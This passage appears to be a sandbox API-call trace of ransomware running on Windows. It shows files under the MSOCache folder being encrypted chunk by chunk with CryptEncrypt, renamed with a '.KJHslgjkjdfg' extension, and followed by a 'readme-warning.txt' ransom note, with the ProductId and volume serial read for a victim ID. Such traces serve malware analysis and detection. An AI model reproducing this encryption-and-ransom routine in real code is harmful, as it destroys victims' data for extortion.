1 [0146.968] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0146.968] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=9958388) returned 1 [0146.968] GetProcessHeap () returned 0x990000 [0146.968] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0146.968] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0146.968] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.969] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0xc, lpOverlapped=0x0) returned 1 [0146.975] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0146.975] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.975] GetProcessHeap () returned 0x990000 [0146.975] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0146.975] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4d8*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4d8*=0x30) returned 1 [0146.975] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0146.975] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f4*=0x30, lpOverlapped=0x0) returned 1 [0146.975] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0146.975] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0146.975] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0146.975] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0146.976] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0146.976] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0146.976] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0146.976] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0146.976] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.035] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0147.038] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.038] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.039] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.039] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.039] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.040] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.054] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0147.057] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.057] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.058] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.058] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.058] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x93f400, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0147.058] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0147.123] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0147.127] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x93f400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.127] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0147.127] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.127] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0147.127] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0147.128] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x97f4c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.128] SetEndOfFile (hFile=0x124) returned 1 [0147.622] GetProcessHeap () returned 0x990000 [0147.622] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0147.622] GetProcessHeap () returned 0x990000 [0147.622] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0147.623] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.kjhslgjkjdfg")) returned 1 [0150.104] CloseHandle (hObject=0x124) returned 1 [0150.105] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0150.105] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0150.105] GetProcessHeap () returned 0x990000 [0150.105] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0150.106] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0150.106] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0150.106] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0150.134] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0150.134] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0150.134] GetProcessHeap () returned 0x990000 [0150.134] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0150.134] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0150.134] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0150.134] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0150.134] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0150.134] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0150.134] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0150.134] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0150.134] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0150.135] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0150.135] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0150.135] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.135] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x648, lpOverlapped=0x0) returned 1 [0150.135] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x650, dwBufLen=0x650 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x650) returned 1 [0150.135] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.135] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x650, lpOverlapped=0x0) returned 1 [0150.135] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0150.135] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.135] SetEndOfFile (hFile=0x124) returned 1 [0150.137] GetProcessHeap () returned 0x990000 [0150.137] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0150.137] GetProcessHeap () returned 0x990000 [0150.137] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0150.137] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0150.138] CloseHandle (hObject=0x124) returned 1 [0150.138] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0150.139] GetProcessHeap () returned 0x990000 [0150.139] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0150.139] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0150.139] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0150.139] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0150.139] GetProcessHeap () returned 0x990000 [0150.139] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0150.139] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0150.139] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0150.139] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0150.139] GetProcessHeap () returned 0x990000 [0150.139] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc8a8 [0150.139] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0150.139] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc8a8, pdwDataLen=0x29df330 | out: pbData=0x9dc8a8, pdwDataLen=0x29df330) returned 1 [0150.139] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0150.139] GetProcessHeap () returned 0x990000 [0150.139] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0150.139] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0150.139] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0150.139] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0150.139] GetProcessHeap () returned 0x990000 [0150.139] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0150.139] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0150.139] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29def10 | out: pbData=0x9b1918, pdwDataLen=0x29def10) returned 1 [0150.140] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0150.140] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0150.140] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0150.140] RegCloseKey (hKey=0x124) returned 0x0 [0150.140] GetProcessHeap () returned 0x990000 [0150.140] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0150.140] GetProcessHeap () returned 0x990000 [0150.140] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0150.140] GetProcessHeap () returned 0x990000 [0150.140] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b1918 [0150.140] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0150.140] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1918, pdwDataLen=0x29dece4 | out: pbData=0x9b1918, pdwDataLen=0x29dece4) returned 1 [0150.140] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0150.140] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0150.140] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0150.141] GetProcessHeap () returned 0x990000 [0150.141] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0150.141] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0150.141] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0150.141] GetProcessHeap () returned 0x990000 [0150.141] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0150.141] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0150.141] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0150.141] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0150.142] CloseHandle (hObject=0x124) returned 1 [0150.143] GetProcessHeap () returned 0x990000 [0150.143] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0150.143] GetProcessHeap () returned 0x990000 [0150.143] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0150.143] GetProcessHeap () returned 0x990000 [0150.143] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0150.143] GetProcessHeap () returned 0x990000 [0150.143] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0150.143] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0150.143] GetProcessHeap () returned 0x990000 [0150.143] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0150.143] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0150.143] GetProcessHeap () returned 0x990000 [0150.143] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0150.143] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0151.084] GetProcessHeap () returned 0x990000 [0151.084] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0151.084] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.085] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0151.085] GetProcessHeap () returned 0x990000 [0151.085] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0151.085] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), 